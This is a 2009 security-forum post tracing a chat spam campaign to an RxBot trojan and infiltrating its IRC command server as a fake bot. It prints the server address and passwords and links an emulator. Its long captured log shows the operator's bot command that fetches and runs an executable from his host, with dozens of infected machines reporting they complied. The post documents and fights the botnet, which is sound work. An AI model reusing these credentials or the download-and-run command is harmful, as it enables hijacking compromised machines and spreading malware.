Log In

How to shutdown a IRC botnet

']['€AM€LiT€ Forum - News, Reports and Alerts

Author

Message

Vektor

2009-05-26
22:19:02

òo-OpChat-o皑 wrote:

[20:51:29] <òo-OpChat-o皑> *** PM Flood detected: Te-ai gandit vreodata ca poti downloada de 3x ca viteza dupa ODc? sau oricare alt client? daca vrei sa incerci downloadeaza programul special proiectat de aici http://81.196.95.22:528/Speed-Extreme.rar sper sa-ti placa --- ZdgYx -- IP=' 81.196.95.22 ' Host=' ' User=' [ROXANA]iySlE '

We see spam like this everywhere. And it's not hard to guess who the spammer is.

Quote:

[22:59] *** User list (81.196.95.22 - 81.196.95.22)

[RO]Toxic_Snake 81.196.95.22, connected: 2009-05-21 06:19:39 for 10 hours 29 minutes 22 seconds
[RO]Toxic_Snake 81.196.95.22, connected: 2009-05-21 16:54:41 for 3 hours 41 minutes 43 seconds
[RO]Toxic_Snake 81.196.95.22, connected: 2009-05-21 22:34:27 for 46 minutes 50 seconds
[RO]Toxic_Snake 81.196.95.22, connected: 2009-05-22 13:49:44 for 7 hours 1 minutes 39 seconds
[RO]Toxic_Snake 81.196.95.22, connected: 2009-05-23 22:56:51 for 1 hours 41 minutes 32 seconds

Speed-Extreme.rar, hosted by the spammer himself, is a modified RxBot trojan (the executable is encrypted, but that's not a problem) that connects to a IRC server hosted by, of course, the spammer himself. BTW, VirusTotal is a great service, it submits all samples to all antivirus companies. Yesterday no antivirus detected this RxBot dropper because of encryption and in just one day half of them detect it already.

Server address: server.unlimited-network.ro:6667 (81.196.95.22, static IP)
Server password: thepartofmindhack
Join channel: #privatecanal
Channel password: thepartofmindhack
Prefix used by bots: n-*

We have enough information to login as a fake bot. Making an emulator for RxBot is easy. As an example, the version for DirectConnect clients can be downloaded from here: http://nemesis.te-home.net/Forum/3000_News/RxBotEmulator.zip (Creative Commons, Attribution-NonCommercial-ShareAlike 3.0). This version of emulator creates a "virtual hub" (more users can join a virtual hub, but all their chat is translated as coming from connected fake bot(s)), you can use your nick and you will see your nick when you connect to it, but the emulator translates your traffic accoding to the bot information you provide.

It doesn't support proxies, but AdvTor can "force" it to go through Tor anyway. Joining the channel as a fake bot...

Quote:

[2009-05-26 22:27] *** Looking up your hostname
[2009-05-26 22:27] *** Checking Ident
[2009-05-26 22:27] *** Couldn't look up your hostname
[2009-05-26 22:27] *** No ident response
[2009-05-26 22:27] <my.server.name> MODE :Register first.
[2009-05-26 22:28] <my.server.name> Welcome to the Internet Relay Network n-144452
Your host is my.server.name, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT
my.server.name beware1.5.7 dgikoswx biklmnoprstv
MAP SILENCE=15 WHOX WALLCHOPS WALLVOICES USERIP CPRIVMSG CNOTICE MODES=6 MAXCHANNELS=10 MAXBANS=45 :are supported by this server
[2009-05-26 22:28] <my.server.name> NICKLEN=9 TOPICLEN=160 AWAYLEN=160 KICKLEN=160 CHANTYPES=#& PREFIX=(ov)@+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459 :are supported by this server
There are 104 users and 0 invisible on 1 servers
1 :channels formed
I have 104 clients and 0 servers
[2009-05-26 22:28] *** n-144452 Highest connection count: 116 (116 clients)
[2009-05-26 22:28] <my.server.name> MOTD File is missing
[2009-05-26 22:28] *** n-144452 on 1 ca 1(4) ft 10(10)
[2009-05-26 22:28] *** Joins: n-292348
[2009-05-26 22:28] *** Joins: n-684753
[2009-05-26 22:28] *** Joins: n-895030
[2009-05-26 22:28] *** Joins: n-125554
[2009-05-26 22:28] *** Joins: n-073959
[2009-05-26 22:28] *** Joins: n-397296
[2009-05-26 22:28] *** Joins: n-497894
[2009-05-26 22:28] *** Joins: n-718491
[2009-05-26 22:28] *** Joins: n-571058
[2009-05-26 22:28] *** Joins: n-896928
[2009-05-26 22:28] *** Joins: n-851344
[2009-05-26 22:28] *** Joins: n-709284
[2009-05-26 22:28] *** Joins: n-151753
[2009-05-26 22:28] *** Joins: n-139850
[2009-05-26 22:28] *** Joins: n-121286
[2009-05-26 22:28] *** Joins: n-506956
[2009-05-26 22:28] *** Joins: n-536251
[2009-05-26 22:28] *** Joins: n-573696
[2009-05-26 22:28] *** Joins: n-105601
[2009-05-26 22:28] *** Joins: n-763665
[2009-05-26 22:28] *** Joins: n-658591
[2009-05-26 22:28] *** Joins: n-797870
[2009-05-26 22:28] *** Joins: n-915282
[2009-05-26 22:28] *** Joins: n-568861
[2009-05-26 22:28] *** Joins: n-418650
[2009-05-26 22:28] *** Joins: n-435013
[2009-05-26 22:28] *** Joins: n-611304
[2009-05-26 22:28] *** Joins: n-813976
[2009-05-26 22:28] *** Joins: n-138896
[2009-05-26 22:28] *** Joins: n-482175
[2009-05-26 22:28] *** Joins: n-623429
[2009-05-26 22:28] *** Joins: n-833356
[2009-05-26 22:28] *** Joins: n-838578
[2009-05-26 22:28] *** Joins: n-734028
[2009-05-26 22:28] *** Joins: n-502610
[2009-05-26 22:28] *** Joins: n-036448
[2009-05-26 22:28] *** Joins: n-003745
[2009-05-26 22:28] *** Joins: n-038736
[2009-05-26 22:28] *** Joins: n-644986
[2009-05-26 22:28] *** Joins: n-209874
[2009-05-26 22:28] *** Joins: n-933488
[2009-05-26 22:28] *** Joins: n-531390
[2009-05-26 22:28] *** Joins: n-608854
[2009-05-26 22:28] *** Joins: n-099717
[2009-05-26 22:28] *** Joins: n-574783
[2009-05-26 22:28] *** Joins: n-656401
[2009-05-26 22:28] *** Joins: n-564682
[2009-05-26 22:28] *** Joins: n-583027
[2009-05-26 22:28] *** Joins: n-708766
[2009-05-26 22:28] *** Joins: n-090483
[2009-05-26 22:28] *** Joins: n-473636
[2009-05-26 22:28] *** Joins: n-134198
[2009-05-26 22:28] *** Joins: n-206544
[2009-05-26 22:28] *** Joins: n-914449
[2009-05-26 22:28] *** Joins: n-325084
[2009-05-26 22:28] *** Joins: n-673312
[2009-05-26 22:28] *** Joins: n-036476
[2009-05-26 22:28] *** Joins: n-125949
[2009-05-26 22:28] *** Joins: n-798534
[2009-05-26 22:28] *** Joins: n-060080
[2009-05-26 22:28] *** Joins: n-577176
[2009-05-26 22:28] *** Joins: n-069330
[2009-05-26 22:28] *** Joins: n-298615
[2009-05-26 22:28] *** Joins: n-729889
[2009-05-26 22:28] *** Joins: n-625681
[2009-05-26 22:28] *** Joins: n-626412
[2009-05-26 22:28] *** Joins: n-724312
[2009-05-26 22:28] *** Joins: n-855098
[2009-05-26 22:28] *** Joins: n-343371
[2009-05-26 22:28] *** Joins: n-621628
[2009-05-26 22:28] *** Joins: n-359209
[2009-05-26 22:28] *** Joins: n-122510
[2009-05-26 22:28] *** Joins: n-163349
[2009-05-26 22:28] *** Joins: n-803614
[2009-05-26 22:28] *** Joins: n-416676
[2009-05-26 22:28] *** Joins: n-007036
[2009-05-26 22:28] *** Joins: n-948576
[2009-05-26 22:28] *** Joins: n-497181
[2009-05-26 22:28] *** Joins: n-451594
[2009-05-26 22:28] *** Joins: n-906008
[2009-05-26 22:28] *** Joins: n-359859
[2009-05-26 22:28] *** Joins: n-562456
[2009-05-26 22:28] *** Joins: n-663781
[2009-05-26 22:28] *** Joins: n-887717
[2009-05-26 22:28] *** Joins: n-105384
[2009-05-26 22:28] *** Joins: n-520755
[2009-05-26 22:28] *** Joins: n-081379
[2009-05-26 22:28] *** Joins: n-232275
[2009-05-26 22:28] *** Joins: n-085369
[2009-05-26 22:28] *** Joins: n-749060
[2009-05-26 22:28] *** Joins: n-454604
[2009-05-26 22:28] *** Joins: n-704388
[2009-05-26 22:28] *** Joins: n-969379
[2009-05-26 22:28] *** Joins: n-453107
[2009-05-26 22:28] *** Joins: n-453828
[2009-05-26 22:28] *** Joins: n-598900
[2009-05-26 22:28] *** Joins: n-634355
[2009-05-26 22:28] *** Joins: n-599247
[2009-05-26 22:28] *** Joins: n-209372
[2009-05-26 22:28] *** Joins: n-927673
[2009-05-26 22:28] *** Joins: n-186739
[2009-05-26 22:28] *** Joins: n-234644
[2009-05-26 22:29] *** Joins: n-339428
[2009-05-26 22:29] *** Joins: Snake
[2009-05-26 22:29] <my.server.name>
Snake 81.196.95.22 * :Toxic_Snake
#privatecanal
my.server.name :I'm too lazy to edit ircd.conf
3429 1243345635 :seconds idle, signon time
End of /WHOIS list.
[2009-05-26 22:29] <Snake> .download http://81.196.95.22:528/nr.exe c:\windows\mds.exe 1
[2009-05-26 22:29] <Snake> .login thepartofmindhack
[2009-05-26 22:29] <n-234644> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-209372> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-105384> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-734028> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-573696> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-497894> [MAIN]: Password accepted.
- [MAIN]: Password accepted.
- [MAIN]: Password accepted.
[2009-05-26 22:29] <n-151753> [MAIN]: Password accepted.
[2009-05-26 22:29] <Snake> .download http://81.196.95.22:528/nr.exe c:\windows\mds.exe 1
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-927673> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-232275> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-060080> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-573696> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-520755> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-121286> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-125949> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] <n-896928> [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
[2009-05-26 22:29] *** Parts: n-895030
[2009-05-26 22:29] <n-454604> [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
[2009-05-26 22:29] <n-663781> [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Downloading URL: http://81.196.95.22:528/nr.exe to: c:\windows\mds.exe.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
[2009-05-26 22:29] <n-325084> [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
[2009-05-26 22:30] <n-763665> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 88.2 KB/sec.
[2009-05-26 22:30] <n-453828> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 73.5 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 73.5 KB/sec.
[2009-05-26 22:30] <n-599247> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-036448> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 73.5 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 73.5 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-060080> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 55.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 55.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-339428> [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-085369> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 63.0 KB/sec.
- [DOWNLOAD]: Bad URL, or DNS Error: http://81.196.95.22:528/nr.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-626412> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 44.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-186739> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 63.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 44.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-734028> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 44.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 55.1 KB/sec.
[2009-05-26 22:30] <n-209372> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-611304> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 40.1 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 49.0 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 44.1 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 44.1 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-642718> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 33.9 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 33.9 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-598900> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
[2009-05-26 22:30] <n-081379> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 29.4 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 36.7 KB/sec.
[2009-05-26 22:30] <n-073959> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 29.4 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
[2009-05-26 22:30] <n-206544> [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 29.4 KB/sec.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 31.5 KB/sec.
- [DOWNLOAD]: Downloaded 440.8 KB to c:\windows\mds.exe @ 33.9 KB/sec.
[2009-05-26 22:30] <n-359859> [DOWNLOAD]: Opened: c:\windows\mds.exe.
- [DOWNLOAD]: Opened: c:\windows\mds.exe.
